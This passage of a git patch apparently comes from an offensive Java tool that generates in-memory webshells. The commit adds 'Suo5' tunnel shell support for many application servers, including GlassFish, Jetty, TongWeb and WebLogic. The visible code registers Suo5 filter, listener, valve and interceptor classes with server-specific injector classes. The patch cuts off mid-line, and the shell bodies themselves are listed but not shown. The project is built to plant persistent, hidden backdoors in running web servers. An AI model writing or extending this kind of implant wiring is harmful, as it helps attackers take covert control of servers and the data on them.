From 142a9e2c47204c39b952bb0a54ca048bd0dee5db Mon Sep 17 00:00:00 2001 From: ReaJason Date: Fri, 14 Feb 2025 23:10:35 +0800 Subject: [PATCH] feat: support other middleware suo5 shell --- .../javaweb/memshell/AbstractShell.java | 2 + .../javaweb/memshell/ApusicShell.java | 12 + .../reajason/javaweb/memshell/BesShell.java | 12 + .../javaweb/memshell/GlassFishShell.java | 15 + .../javaweb/memshell/InforSuiteShell.java | 15 + .../reajason/javaweb/memshell/JbossShell.java | 12 + .../reajason/javaweb/memshell/JettyShell.java | 15 + .../reajason/javaweb/memshell/ResinShell.java | 12 + .../javaweb/memshell/SpringWebFluxShell.java | 8 + .../javaweb/memshell/SpringWebMvcShell.java | 12 + .../javaweb/memshell/TongWeb6Shell.java | 15 + .../javaweb/memshell/TongWeb7Shell.java | 15 + .../javaweb/memshell/UndertowShell.java | 15 + .../javaweb/memshell/WebLogicShell.java | 12 + .../javaweb/memshell/WebSphereShell.java | 12 + .../javaweb/integration/ContainerTool.java | 3 +- .../glassfish/GlassFish3ContainerTest.java | 6 + .../glassfish/GlassFish4ContainerTest.java | 6 + .../glassfish/GlassFish501ContainerTest.java | 6 + .../glassfish/GlassFish510ContainerTest.java | 9 + .../glassfish/GlassFish6ContainerTest.java | 6 + .../glassfish/GlassFish7ContainerTest.java | 3 + .../jbossas/Jboss423ContainerTest.java | 6 + .../jbossas/Jboss510ContainerTest.java | 6 + .../jbossas/Jboss610ContainerTest.java | 6 + .../jbossas/Jboss711ContainerTest.java | 3 + .../jbosseap/JbossEap6ContainerTest.java | 3 + .../jbosseap/JbossEap7ContainerTest.java | 6 + .../jetty/Jetty10ContainerTest.java | 6 + .../jetty/Jetty11ContainerTest.java | 6 + .../jetty/Jetty61ContainerTest.java | 8 +- .../jetty/Jetty76ContainerTest.java | 6 + .../jetty/Jetty81ContainerTest.java | 6 + .../jetty/Jetty92ContainerTest.java | 6 + .../jetty/Jetty93ContainerTest.java | 6 + .../jetty/Jetty94ContainerTest.java | 6 + .../payara/Payara5201ContainerTest.java | 11 +- .../payara/Payara520225ContainerTest.java | 8 +- .../payara/Payara620222ContainerTest.java | 8 +- .../resin/Resin3116ContainerTest.java | 6 + .../resin/Resin318ContainerTest.java | 6 + .../resin/Resin4058ContainerTest.java | 6 + .../resin/Resin4067ContainerTest.java | 6 + .../springmvc/SpringBoot2ContainerTest.java | 8 +- .../SpringBoot2WarContainerTest.java | 10 +- .../springmvc/SpringBoot3ContainerTest.java | 8 +- .../SpringBoot2WebFluxContainerTest.java | 7 +- .../SpringBoot3WebFluxContainerTest.java | 7 +- .../weblogic/WebLogic1036ContainerTest.java | 3 + .../weblogic/WebLogic12214ContainerTest.java | 3 + .../weblogic/WebLogic14110ContainerTest.java | 3 + .../websphere/WebSphere700ContainerTest.java | 3 + .../websphere/WebSphere855ContainerTest.java | 3 + .../websphere/WebSphere905ContainerTest.java | 3 + .../wildfly/Wildfly18ContainerTest.java | 3 + .../wildfly/Wildfly23ContainerTest.java | 3 + .../wildfly/Wildfly30ContainerTest.java | 3 + .../wildfly/Wildfly9ContainerTest.java | 6 + memshell-java8/build.gradle | 3 + .../springwebflux/suo5/Suo5WebFilter.java | 448 +++++++++++++ .../suo5/Suo5ControllerHandler.java | 567 ++++++++++++++++ .../springwebmvc/suo5/Suo5Interceptor.java | 582 +++++++++++++++++ .../memshell/apusic/suo5/Suo5Listener.java | 597 +++++++++++++++++ .../javaweb/memshell/bes/suo5/Suo5Valve.java | 595 +++++++++++++++++ .../memshell/glassfish/suo5/Suo5Listener.java | 608 ++++++++++++++++++ .../memshell/jetty/suo5/Suo5Listener.java | 603 +++++++++++++++++ .../memshell/resin/suo5/Suo5Listener.java | 599 +++++++++++++++++ .../memshell/tongweb/suo5/Suo5Valve6.java | 606 +++++++++++++++++ .../memshell/tongweb/suo5/Suo5Valve7.java | 595 +++++++++++++++++ .../memshell/undertow/suo5/Suo5Listener.java | 607 +++++++++++++++++ .../memshell/weblogic/suo5/Suo5Listener.java | 604 +++++++++++++++++ .../memshell/websphere/suo5/Suo5Listener.java | 597 +++++++++++++++++ .../reajason/javaweb/suo5/Suo5Manager.java | 4 +- vul/vul-springboot2-webflux/build.gradle | 1 + 74 files changed, 8023 insertions(+), 20 deletions(-) create mode 100644 memshell-java8/src/main/java/com/reajason/javaweb/memshell/springwebflux/suo5/Suo5WebFilter.java create mode 100644 memshell-java8/src/main/java/com/reajason/javaweb/memshell/springwebmvc/suo5/Suo5ControllerHandler.java create mode 100644 memshell-java8/src/main/java/com/reajason/javaweb/memshell/springwebmvc/suo5/Suo5Interceptor.java create mode 100644 memshell/src/main/java/com/reajason/javaweb/memshell/apusic/suo5/Suo5Listener.java create mode 100644 memshell/src/main/java/com/reajason/javaweb/memshell/bes/suo5/Suo5Valve.java create mode 100644 memshell/src/main/java/com/reajason/javaweb/memshell/glassfish/suo5/Suo5Listener.java create mode 100644 memshell/src/main/java/com/reajason/javaweb/memshell/jetty/suo5/Suo5Listener.java create mode 100644 memshell/src/main/java/com/reajason/javaweb/memshell/resin/suo5/Suo5Listener.java create mode 100644 memshell/src/main/java/com/reajason/javaweb/memshell/tongweb/suo5/Suo5Valve6.java create mode 100644 memshell/src/main/java/com/reajason/javaweb/memshell/tongweb/suo5/Suo5Valve7.java create mode 100644 memshell/src/main/java/com/reajason/javaweb/memshell/undertow/suo5/Suo5Listener.java create mode 100644 memshell/src/main/java/com/reajason/javaweb/memshell/weblogic/suo5/Suo5Listener.java create mode 100644 memshell/src/main/java/com/reajason/javaweb/memshell/websphere/suo5/Suo5Listener.java diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/AbstractShell.java b/generator/src/main/java/com/reajason/javaweb/memshell/AbstractShell.java index 0a0043a5..bc3e0ab2 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/AbstractShell.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/AbstractShell.java @@ -7,6 +7,7 @@ import org.apache.commons.lang3.tuple.Pair; import java.util.Collections; import java.util.List; import java.util.Map; +import java.util.stream.Collectors; /** * @author ReaJason @@ -24,6 +25,7 @@ public abstract class AbstractShell { case Godzilla -> getGodzillaShellMap().keySet().stream().toList(); case Command -> getCommandShellMap().keySet().stream().toList(); case Behinder -> getBehinderShellMap().keySet().stream().toList(); + case Suo5 -> getSuo5ShellMap().keySet().stream().toList(); default -> Collections.emptyList(); }; } diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/ApusicShell.java b/generator/src/main/java/com/reajason/javaweb/memshell/ApusicShell.java index 9d98c658..f4f0fc99 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/ApusicShell.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/ApusicShell.java @@ -6,12 +6,15 @@ import com.reajason.javaweb.memshell.apusic.godzilla.GodzillaListener; import com.reajason.javaweb.memshell.apusic.injector.ApusicFilterInjector; import com.reajason.javaweb.memshell.apusic.injector.ApusicListenerInjector; import com.reajason.javaweb.memshell.apusic.injector.ApusicServletInjector; +import com.reajason.javaweb.memshell.apusic.suo5.Suo5Listener; import com.reajason.javaweb.memshell.shelltool.behinder.BehinderFilter; import com.reajason.javaweb.memshell.shelltool.behinder.BehinderServlet; import com.reajason.javaweb.memshell.shelltool.command.CommandFilter; import com.reajason.javaweb.memshell.shelltool.command.CommandServlet; import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaFilter; import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaServlet; +import com.reajason.javaweb.memshell.shelltool.suo5.Suo5Filter; +import com.reajason.javaweb.memshell.shelltool.suo5.Suo5Servlet; import org.apache.commons.lang3.tuple.Pair; import java.util.LinkedHashMap; @@ -50,4 +53,13 @@ public class ApusicShell extends AbstractShell { map.put(LISTENER, Pair.of(BehinderListener.class, ApusicListenerInjector.class)); return map; } + + @Override + protected Map, Class>> getSuo5ShellMap() { + Map, Class>> map = new LinkedHashMap<>(); + map.put(SERVLET, Pair.of(Suo5Servlet.class, ApusicServletInjector.class)); + map.put(FILTER, Pair.of(Suo5Filter.class, ApusicFilterInjector.class)); + map.put(LISTENER, Pair.of(Suo5Listener.class, ApusicListenerInjector.class)); + return map; + } } diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/BesShell.java b/generator/src/main/java/com/reajason/javaweb/memshell/BesShell.java index 42a75b73..80e3b0a4 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/BesShell.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/BesShell.java @@ -4,15 +4,18 @@ import com.reajason.javaweb.memshell.bes.behinder.BehinderValve; import com.reajason.javaweb.memshell.bes.command.CommandValve; import com.reajason.javaweb.memshell.bes.godzilla.GodzillaValve; import com.reajason.javaweb.memshell.bes.injector.*; +import com.reajason.javaweb.memshell.bes.suo5.Suo5Valve; import com.reajason.javaweb.memshell.shelltool.behinder.BehinderFilter; import com.reajason.javaweb.memshell.shelltool.behinder.BehinderFilterChainAdvisor; import com.reajason.javaweb.memshell.shelltool.command.CommandFilter; import com.reajason.javaweb.memshell.shelltool.command.CommandFilterChainAdvisor; import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaFilter; import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaFilterChainAdvisor; +import com.reajason.javaweb.memshell.shelltool.suo5.Suo5Filter; import com.reajason.javaweb.memshell.tomcat.behinder.BehinderListener; import com.reajason.javaweb.memshell.tomcat.command.CommandListener; import com.reajason.javaweb.memshell.tomcat.godzilla.GodzillaListener; +import com.reajason.javaweb.memshell.tomcat.suo5.Suo5Listener; import org.apache.commons.lang3.tuple.Pair; import java.util.LinkedHashMap; @@ -58,4 +61,13 @@ public class BesShell extends AbstractShell { map.put(AGENT_CONTEXT_VALVE, Pair.of(BehinderFilterChainAdvisor.class, BesContextValveAgentInjector.class)); return map; } + + @Override + protected Map, Class>> getSuo5ShellMap() { + Map, Class>> map = new LinkedHashMap<>(); + map.put(FILTER, Pair.of(Suo5Filter.class, BesFilterInjector.class)); + map.put(LISTENER, Pair.of(Suo5Listener.class, BesListenerInjector.class)); + map.put(VALVE, Pair.of(Suo5Valve.class, BesValveInjector.class)); + return map; + } } diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/GlassFishShell.java b/generator/src/main/java/com/reajason/javaweb/memshell/GlassFishShell.java index 71d09c56..6c6eec44 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/GlassFishShell.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/GlassFishShell.java @@ -6,6 +6,7 @@ import com.reajason.javaweb.memshell.glassfish.godzilla.GodzillaListener; import com.reajason.javaweb.memshell.glassfish.injector.GlassFishFilterInjector; import com.reajason.javaweb.memshell.glassfish.injector.GlassFishListenerInjector; import com.reajason.javaweb.memshell.glassfish.injector.GlassFishValveInjector; +import com.reajason.javaweb.memshell.glassfish.suo5.Suo5Listener; import com.reajason.javaweb.memshell.shelltool.behinder.BehinderFilter; import com.reajason.javaweb.memshell.shelltool.behinder.BehinderFilterChainAdvisor; import com.reajason.javaweb.memshell.shelltool.behinder.BehinderValve; @@ -15,6 +16,8 @@ import com.reajason.javaweb.memshell.shelltool.command.CommandValve; import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaFilter; import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaFilterChainAdvisor; import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaValve; +import com.reajason.javaweb.memshell.shelltool.suo5.Suo5Filter; +import com.reajason.javaweb.memshell.shelltool.suo5.Suo5Valve; import com.reajason.javaweb.memshell.tomcat.injector.TomcatContextValveAgentInjector; import com.reajason.javaweb.memshell.tomcat.injector.TomcatFilterChainAgentInjector; import org.apache.commons.lang3.tuple.Pair; @@ -71,4 +74,16 @@ public class GlassFishShell extends AbstractShell { map.put(AGENT_CONTEXT_VALVE, Pair.of(BehinderFilterChainAdvisor.class, TomcatContextValveAgentInjector.class)); return map; } + + @Override + protected Map, Class>> getSuo5ShellMap() { + Map, Class>> map = new LinkedHashMap<>(); + map.put(FILTER, Pair.of(Suo5Filter.class, GlassFishFilterInjector.class)); + map.put(JAKARTA_FILTER, Pair.of(Suo5Filter.class, GlassFishFilterInjector.class)); + map.put(LISTENER, Pair.of(Suo5Listener.class, GlassFishListenerInjector.class)); + map.put(JAKARTA_LISTENER, Pair.of(Suo5Listener.class, GlassFishListenerInjector.class)); + map.put(VALVE, Pair.of(Suo5Valve.class, GlassFishValveInjector.class)); + map.put(JAKARTA_VALVE, Pair.of(Suo5Valve.class, GlassFishValveInjector.class)); + return map; + } } \ No newline at end of file diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/InforSuiteShell.java b/generator/src/main/java/com/reajason/javaweb/memshell/InforSuiteShell.java index 34501288..eff565db 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/InforSuiteShell.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/InforSuiteShell.java @@ -12,11 +12,14 @@ import com.reajason.javaweb.memshell.shelltool.command.CommandValve; import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaFilter; import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaFilterChainAdvisor; import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaValve; +import com.reajason.javaweb.memshell.shelltool.suo5.Suo5Filter; +import com.reajason.javaweb.memshell.shelltool.suo5.Suo5Valve; import com.reajason.javaweb.memshell.tomcat.behinder.BehinderListener; import com.reajason.javaweb.memshell.tomcat.command.CommandListener; import com.reajason.javaweb.memshell.tomcat.godzilla.GodzillaListener; import com.reajason.javaweb.memshell.tomcat.injector.TomcatContextValveAgentInjector; import com.reajason.javaweb.memshell.tomcat.injector.TomcatFilterChainAgentInjector; +import com.reajason.javaweb.memshell.tomcat.suo5.Suo5Listener; import org.apache.commons.lang3.tuple.Pair; import java.util.LinkedHashMap; @@ -71,4 +74,16 @@ public class InforSuiteShell extends AbstractShell { map.put(AGENT_CONTEXT_VALVE, Pair.of(BehinderFilterChainAdvisor.class, TomcatContextValveAgentInjector.class)); return map; } + + @Override + protected Map, Class>> getSuo5ShellMap() { + Map, Class>> map = new LinkedHashMap<>(); + map.put(FILTER, Pair.of(Suo5Filter.class, InforSuiteFilterInjector.class)); + map.put(JAKARTA_FILTER, Pair.of(Suo5Filter.class, InforSuiteFilterInjector.class)); + map.put(LISTENER, Pair.of(Suo5Listener.class, GlassFishListenerInjector.class)); + map.put(JAKARTA_LISTENER, Pair.of(Suo5Listener.class, GlassFishListenerInjector.class)); + map.put(VALVE, Pair.of(Suo5Valve.class, GlassFishValveInjector.class)); + map.put(JAKARTA_VALVE, Pair.of(Suo5Valve.class, GlassFishValveInjector.class)); + return map; + } } diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/JbossShell.java b/generator/src/main/java/com/reajason/javaweb/memshell/JbossShell.java index 30035a39..855a4b57 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/JbossShell.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/JbossShell.java @@ -12,11 +12,14 @@ import com.reajason.javaweb.memshell.shelltool.command.CommandValve; import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaFilter; import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaFilterChainAdvisor; import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaValve; +import com.reajason.javaweb.memshell.shelltool.suo5.Suo5Filter; +import com.reajason.javaweb.memshell.shelltool.suo5.Suo5Valve; import com.reajason.javaweb.memshell.tomcat.behinder.BehinderListener; import com.reajason.javaweb.memshell.tomcat.command.CommandListener; import com.reajason.javaweb.memshell.tomcat.godzilla.GodzillaListener; import com.reajason.javaweb.memshell.tomcat.injector.TomcatContextValveAgentInjector; import com.reajason.javaweb.memshell.tomcat.injector.TomcatFilterChainAgentInjector; +import com.reajason.javaweb.memshell.tomcat.suo5.Suo5Listener; import org.apache.commons.lang3.tuple.Pair; import java.util.LinkedHashMap; @@ -62,4 +65,13 @@ public class JbossShell extends AbstractShell { map.put(AGENT_CONTEXT_VALVE, Pair.of(BehinderFilterChainAdvisor.class, TomcatContextValveAgentInjector.class)); return map; } + + @Override + protected Map, Class>> getSuo5ShellMap() { + Map, Class>> map = new LinkedHashMap<>(); + map.put(FILTER, Pair.of(Suo5Filter.class, JbossFilterInjector.class)); + map.put(LISTENER, Pair.of(Suo5Listener.class, JbossListenerInjector.class)); + map.put(VALVE, Pair.of(Suo5Valve.class, JbossValveInjector.class)); + return map; + } } \ No newline at end of file diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/JettyShell.java b/generator/src/main/java/com/reajason/javaweb/memshell/JettyShell.java index 36fef8ad..93f5b5c4 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/JettyShell.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/JettyShell.java @@ -10,12 +10,15 @@ import com.reajason.javaweb.memshell.jetty.injector.JettyFilterInjector; import com.reajason.javaweb.memshell.jetty.injector.JettyHandlerAgentInjector; import com.reajason.javaweb.memshell.jetty.injector.JettyListenerInjector; import com.reajason.javaweb.memshell.jetty.injector.JettyServletInjector; +import com.reajason.javaweb.memshell.jetty.suo5.Suo5Listener; import com.reajason.javaweb.memshell.shelltool.behinder.BehinderFilter; import com.reajason.javaweb.memshell.shelltool.behinder.BehinderServlet; import com.reajason.javaweb.memshell.shelltool.command.CommandFilter; import com.reajason.javaweb.memshell.shelltool.command.CommandServlet; import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaFilter; import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaServlet; +import com.reajason.javaweb.memshell.shelltool.suo5.Suo5Filter; +import com.reajason.javaweb.memshell.shelltool.suo5.Suo5Servlet; import org.apache.commons.lang3.tuple.Pair; import java.util.LinkedHashMap; @@ -68,4 +71,16 @@ public class JettyShell extends AbstractShell { map.put(AGENT_HANDLER, Pair.of(BehinderHandlerAdvisor.class, JettyHandlerAgentInjector.class)); return map; } + + @Override + protected Map, Class>> getSuo5ShellMap() { + Map, Class>> map = new LinkedHashMap<>(); + map.put(SERVLET, Pair.of(Suo5Servlet.class, JettyServletInjector.class)); + map.put(JAKARTA_SERVLET, Pair.of(Suo5Servlet.class, JettyServletInjector.class)); + map.put(FILTER, Pair.of(Suo5Filter.class, JettyFilterInjector.class)); + map.put(JAKARTA_FILTER, Pair.of(Suo5Filter.class, JettyFilterInjector.class)); + map.put(LISTENER, Pair.of(Suo5Listener.class, JettyListenerInjector.class)); + map.put(JAKARTA_LISTENER, Pair.of(Suo5Listener.class, JettyListenerInjector.class)); + return map; + } } diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/ResinShell.java b/generator/src/main/java/com/reajason/javaweb/memshell/ResinShell.java index aea7a718..567cdef3 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/ResinShell.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/ResinShell.java @@ -7,6 +7,7 @@ import com.reajason.javaweb.memshell.resin.injector.ResinFilterChainAgentInjecto import com.reajason.javaweb.memshell.resin.injector.ResinFilterInjector; import com.reajason.javaweb.memshell.resin.injector.ResinListenerInjector; import com.reajason.javaweb.memshell.resin.injector.ResinServletInjector; +import com.reajason.javaweb.memshell.resin.suo5.Suo5Listener; import com.reajason.javaweb.memshell.shelltool.behinder.BehinderFilter; import com.reajason.javaweb.memshell.shelltool.behinder.BehinderFilterChainAdvisor; import com.reajason.javaweb.memshell.shelltool.behinder.BehinderServlet; @@ -16,6 +17,8 @@ import com.reajason.javaweb.memshell.shelltool.command.CommandServlet; import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaFilter; import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaFilterChainAdvisor; import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaServlet; +import com.reajason.javaweb.memshell.shelltool.suo5.Suo5Filter; +import com.reajason.javaweb.memshell.shelltool.suo5.Suo5Servlet; import org.apache.commons.lang3.tuple.Pair; import java.util.LinkedHashMap; @@ -59,4 +62,13 @@ public class ResinShell extends AbstractShell { map.put(AGENT_FILTER_CHAIN, Pair.of(BehinderFilterChainAdvisor.class, ResinFilterChainAgentInjector.class)); return map; } + + @Override + protected Map, Class>> getSuo5ShellMap() { + Map, Class>> map = new LinkedHashMap<>(); + map.put(SERVLET, Pair.of(Suo5Servlet.class, ResinServletInjector.class)); + map.put(FILTER, Pair.of(Suo5Filter.class, ResinFilterInjector.class)); + map.put(LISTENER, Pair.of(Suo5Listener.class, ResinListenerInjector.class)); + return map; + } } diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/SpringWebFluxShell.java b/generator/src/main/java/com/reajason/javaweb/memshell/SpringWebFluxShell.java index 189356fa..d93c66f0 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/SpringWebFluxShell.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/SpringWebFluxShell.java @@ -12,6 +12,7 @@ import com.reajason.javaweb.memshell.springwebflux.injector.SpringWebFluxHandler import com.reajason.javaweb.memshell.springwebflux.injector.SpringWebFluxHandlerMethodInjector; import com.reajason.javaweb.memshell.springwebflux.injector.SpringWebFluxNettyHandlerInjector; import com.reajason.javaweb.memshell.springwebflux.injector.SpringWebFluxWebFilterInjector; +import com.reajason.javaweb.memshell.springwebflux.suo5.Suo5WebFilter; import org.apache.commons.lang3.tuple.Pair; import java.util.LinkedHashMap; @@ -46,4 +47,11 @@ public class SpringWebFluxShell extends AbstractShell { map.put(NETTY_HANDLER, Pair.of(GodzillaNettyHandler.class, SpringWebFluxNettyHandlerInjector.class)); return map; } + + @Override + protected Map, Class>> getSuo5ShellMap() { + Map, Class>> map = new LinkedHashMap<>(); + map.put(WEB_FILTER, Pair.of(Suo5WebFilter.class, SpringWebFluxWebFilterInjector.class)); + return map; + } } diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/SpringWebMvcShell.java b/generator/src/main/java/com/reajason/javaweb/memshell/SpringWebMvcShell.java index a4f51625..5117e818 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/SpringWebMvcShell.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/SpringWebMvcShell.java @@ -12,6 +12,8 @@ import com.reajason.javaweb.memshell.springwebmvc.godzilla.GodzillaServletAdviso import com.reajason.javaweb.memshell.springwebmvc.injector.SpringWebMvcControllerHandlerInjector; import com.reajason.javaweb.memshell.springwebmvc.injector.SpringWebMvcFrameworkServletAgentInjector; import com.reajason.javaweb.memshell.springwebmvc.injector.SpringWebMvcInterceptorInjector; +import com.reajason.javaweb.memshell.springwebmvc.suo5.Suo5ControllerHandler; +import com.reajason.javaweb.memshell.springwebmvc.suo5.Suo5Interceptor; import org.apache.commons.lang3.tuple.Pair; import java.util.LinkedHashMap; @@ -60,4 +62,14 @@ public class SpringWebMvcShell extends AbstractShell { map.put(AGENT_FRAMEWORK_SERVLET, Pair.of(GodzillaServletAdvisor.class, SpringWebMvcFrameworkServletAgentInjector.class)); return map; } + + @Override + protected Map, Class>> getSuo5ShellMap() { + Map, Class>> map = new LinkedHashMap<>(); + map.put(INTERCEPTOR, Pair.of(Suo5Interceptor.class, SpringWebMvcInterceptorInjector.class)); + map.put(JAKARTA_INTERCEPTOR, Pair.of(Suo5Interceptor.class, SpringWebMvcInterceptorInjector.class)); + map.put(CONTROLLER_HANDLER, Pair.of(Suo5ControllerHandler.class, SpringWebMvcControllerHandlerInjector.class)); + map.put(JAKARTA_CONTROLLER_HANDLER, Pair.of(Suo5ControllerHandler.class, SpringWebMvcControllerHandlerInjector.class)); + return map; + } } \ No newline at end of file diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/TongWeb6Shell.java b/generator/src/main/java/com/reajason/javaweb/memshell/TongWeb6Shell.java index d15d4c75..da2085f1 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/TongWeb6Shell.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/TongWeb6Shell.java @@ -6,13 +6,16 @@ import com.reajason.javaweb.memshell.shelltool.command.CommandFilter; import com.reajason.javaweb.memshell.shelltool.command.CommandFilterChainAdvisor; import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaFilter; import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaFilterChainAdvisor; +import com.reajason.javaweb.memshell.shelltool.suo5.Suo5Filter; import com.reajason.javaweb.memshell.tomcat.behinder.BehinderListener; import com.reajason.javaweb.memshell.tomcat.command.CommandListener; import com.reajason.javaweb.memshell.tomcat.godzilla.GodzillaListener; +import com.reajason.javaweb.memshell.tomcat.suo5.Suo5Listener; import com.reajason.javaweb.memshell.tongweb.behinder.BehinderValve6; import com.reajason.javaweb.memshell.tongweb.command.CommandValve6; import com.reajason.javaweb.memshell.tongweb.godzilla.GodzillaValve6; import com.reajason.javaweb.memshell.tongweb.injector.*; +import com.reajason.javaweb.memshell.tongweb.suo5.Suo5Valve6; import org.apache.commons.lang3.tuple.Pair; import java.util.LinkedHashMap; @@ -67,4 +70,16 @@ public class TongWeb6Shell extends AbstractShell { map.put(AGENT_CONTEXT_VALVE, Pair.of(BehinderFilterChainAdvisor.class, TongWebContextValveAgentInjector.class)); return map; } + + @Override + protected Map, Class>> getSuo5ShellMap() { + Map, Class>> map = new LinkedHashMap<>(); + map.put(FILTER, Pair.of(Suo5Filter.class, TongWebFilterInjector.class)); + map.put(JAKARTA_FILTER, Pair.of(Suo5Filter.class, TongWebFilterInjector.class)); + map.put(LISTENER, Pair.of(Suo5Listener.class, TongWebListenerInjector.class)); + map.put(JAKARTA_LISTENER, Pair.of(Suo5Listener.class, TongWebListenerInjector.class)); + map.put(VALVE, Pair.of(Suo5Valve6.class, TongWebValveInjector.class)); + map.put(JAKARTA_VALVE, Pair.of(Suo5Valve6.class, TongWebValveInjector.class)); + return map; + } } diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/TongWeb7Shell.java b/generator/src/main/java/com/reajason/javaweb/memshell/TongWeb7Shell.java index 6956621a..1dd6dc3d 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/TongWeb7Shell.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/TongWeb7Shell.java @@ -6,13 +6,16 @@ import com.reajason.javaweb.memshell.shelltool.command.CommandFilter; import com.reajason.javaweb.memshell.shelltool.command.CommandFilterChainAdvisor; import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaFilter; import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaFilterChainAdvisor; +import com.reajason.javaweb.memshell.shelltool.suo5.Suo5Filter; import com.reajason.javaweb.memshell.tomcat.behinder.BehinderListener; import com.reajason.javaweb.memshell.tomcat.command.CommandListener; import com.reajason.javaweb.memshell.tomcat.godzilla.GodzillaListener; +import com.reajason.javaweb.memshell.tomcat.suo5.Suo5Listener; import com.reajason.javaweb.memshell.tongweb.behinder.BehinderValve7; import com.reajason.javaweb.memshell.tongweb.command.CommandValve7; import com.reajason.javaweb.memshell.tongweb.godzilla.GodzillaValve7; import com.reajason.javaweb.memshell.tongweb.injector.*; +import com.reajason.javaweb.memshell.tongweb.suo5.Suo5Valve7; import org.apache.commons.lang3.tuple.Pair; import java.util.LinkedHashMap; @@ -67,4 +70,16 @@ public class TongWeb7Shell extends AbstractShell { map.put(AGENT_CONTEXT_VALVE, Pair.of(BehinderFilterChainAdvisor.class, TongWebContextValveAgentInjector.class)); return map; } + + @Override + protected Map, Class>> getSuo5ShellMap() { + Map, Class>> map = new LinkedHashMap<>(); + map.put(FILTER, Pair.of(Suo5Filter.class, TongWebFilterInjector.class)); + map.put(JAKARTA_FILTER, Pair.of(Suo5Filter.class, TongWebFilterInjector.class)); + map.put(LISTENER, Pair.of(Suo5Listener.class, TongWebListenerInjector.class)); + map.put(JAKARTA_LISTENER, Pair.of(Suo5Listener.class, TongWebListenerInjector.class)); + map.put(VALVE, Pair.of(Suo5Valve7.class, TongWebValveInjector.class)); + map.put(JAKARTA_VALVE, Pair.of(Suo5Valve7.class, TongWebValveInjector.class)); + return map; + } } diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/UndertowShell.java b/generator/src/main/java/com/reajason/javaweb/memshell/UndertowShell.java index f04f05e0..5c176832 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/UndertowShell.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/UndertowShell.java @@ -6,6 +6,8 @@ import com.reajason.javaweb.memshell.shelltool.command.CommandFilter; import com.reajason.javaweb.memshell.shelltool.command.CommandServlet; import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaFilter; import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaServlet; +import com.reajason.javaweb.memshell.shelltool.suo5.Suo5Filter; +import com.reajason.javaweb.memshell.shelltool.suo5.Suo5Servlet; import com.reajason.javaweb.memshell.undertow.behinder.BehinderListener; import com.reajason.javaweb.memshell.undertow.behinder.BehinderServletInitialHandlerAdvisor; import com.reajason.javaweb.memshell.undertow.command.CommandListener; @@ -16,6 +18,7 @@ import com.reajason.javaweb.memshell.undertow.injector.UndertowFilterInjector; import com.reajason.javaweb.memshell.undertow.injector.UndertowListenerInjector; import com.reajason.javaweb.memshell.undertow.injector.UndertowServletInitialHandlerAgentInjector; import com.reajason.javaweb.memshell.undertow.injector.UndertowServletInjector; +import com.reajason.javaweb.memshell.undertow.suo5.Suo5Listener; import org.apache.commons.lang3.tuple.Pair; import java.util.LinkedHashMap; @@ -68,4 +71,16 @@ public class UndertowShell extends AbstractShell { map.put(AGENT_SERVLET_HANDLER, Pair.of(BehinderServletInitialHandlerAdvisor.class, UndertowServletInitialHandlerAgentInjector.class)); return map; } + + @Override + protected Map, Class>> getSuo5ShellMap() { + Map, Class>> map = new LinkedHashMap<>(); + map.put(SERVLET, 